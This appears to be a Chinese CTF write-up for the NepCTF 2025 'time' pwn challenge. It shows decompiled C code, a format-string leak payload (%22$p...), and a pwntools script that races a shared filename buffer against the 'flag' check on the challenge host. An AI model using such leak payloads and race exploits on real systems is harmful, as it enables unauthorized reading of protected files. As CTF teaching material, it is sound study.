[NepCTF 2025]-time
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

  newthread[1] = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  get_name_ls();
  while ( 1 )
  {
    while ( !(unsigned int)check_flag() )
      ;
    pthread_create(newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
  }
}
unsigned __int64 get_name_ls()
{
  char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("please input your name:");
  __isoc99_scanf("%100s", name);
  puts("I will tell you all file names in the current directory!");
  argv[0] = "/bin/ls";
  argv[1] = "/";
  argv[2] = "-al";
  argv[3] = 0LL;
  if ( !fork() )
    execve("/bin/ls", argv, 0LL);
  wait(0LL);
  puts("good luck :-)");
  return v2 - __readfsqword(0x28u);
}
__int64 check_flag()
{
  puts("input file name you want to read:");
  __isoc99_scanf("%s", file);
  if ( !strstr(file, "flag") )
    return 1LL;
  puts("flag is not allowed!");
  return 0LL;
}
unsigned __int64 __fastcall start_routine(void *a1)
{
  unsigned int v1; // eax
  int i; // [rsp+4h] [rbp-46Ch]
  int j; // [rsp+8h] [rbp-468h]
  int fd; // [rsp+Ch] [rbp-464h]
  _BYTE v6[96]; // [rsp+10h] [rbp-460h] BYREF
  _BYTE v7[16]; // [rsp+70h] [rbp-400h] BYREF
  _BYTE buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp+468h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  sub_1329(v6);
  v1 = strlen(file);
  sub_1379(v6, file, v1);
  sub_14CB(v6, v7);
  puts("I will tell you last file name content in md5:");
  for ( i = 0; i <= 15; ++i )
    printf("%02X", (unsigned __int8)v7[i]);
  putchar(10);
  for ( j = 0; j <= 999; ++j )
    buf[j] = 0;
  fd = open(file, 0);
  if ( fd >= 0 )
  {
    read(fd, buf, 0x3E8uLL);
    close(fd);
    printf("hello ");
    printf(name);                               // 存在格式化字符串漏洞
    puts(" ,your file read done!");
  }
  else
  {
    puts("file not found!");
  }
  return v9 - __readfsqword(0x28u);
}

先看整个逻辑,输入“name”,帮你 ”ls”,再进入死循环,用户可以输入想要查看的文件名,如果是 “flag”,理论上不给你看内容,其他文件的话给你看 MD5 后的内容。并且每次通过 “非 flag” 检测后都会开一个新的线程去执行 start_routine() 函数。

容易想到利用 %p 泄露 buf 中的信息,这样它的 MD5 就没用了,可以直接拿到文件内容。并且目录里有个 hint.txt,可以先读出来。buf 在 [rsp+80h] 的地方,0x80 / 8 = 16,且前 6 个参数是 rdi, rsi, rdx, rcx, r8, r9,故从 %22$p 开始读起:

%22$p%23$p%24$p%25$p%26$p%27$p

可以读到:

hello 0x6c69772067616c660x79206c6c6574206c0x742065687420756f0x6f626120687475720x21656d69742074750xa ,your file read done!

扔 cyberchef 中解码:

注意转换小端序:

flag will tell you the truth about time!

根据提示和程序中毫无理由的 “开新线程”,容易想到条件竞争抢时间。整个过程是这样的:

  1. file 是 bss 段上的全局变量,所有线程共享;
  2. 输入合法文件名,通过检测,在子线程中准备执行读文件的操作;
  3. 此时主线程再次接收到 ‘flag’ 字符串,并且已经读入;
  4. 子线程恰好在这个 file 被短暂覆盖为 ‘flag’ 的时机读入了文件,那么 buf 中就会存储 flag 文件中的信息;
  5. 格式化字符串泄露 flag 信息。

脚本如下:

from pwn import *

# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def pwn():
    io.sendlineafter(b'please input your name:\n', b"%22$p%23$p%24$p%25$p%26$p%27$p")
    
    while True:
        io.sendline(b'hint.txt')
        with open('info.txt', 'a') as f:
            f.write(io.recv().decode())
        io.sendline(b'flag')
        with open('info.txt', 'a') as f:
            f.write(io.recv().decode())
    # io.sendafter(b'input file name you want to read:', b'ffllaagg')
    
    io.interactive()

if __name__ == "__main__":
    local = 0
    if local:
        io = process('./time')
        gdb.attach(io, "set follow-fork-mode parent\nb *$rebase(0x2da2)")
        pwn()
    else:
        host = "nepctf30-nfpq-mjla-s0qo-k4bvu7ciu867.nepctf.com"
        port = 443
        io = remote(host, port, ssl=True, sni=host)
        pwn()
上一篇
下一篇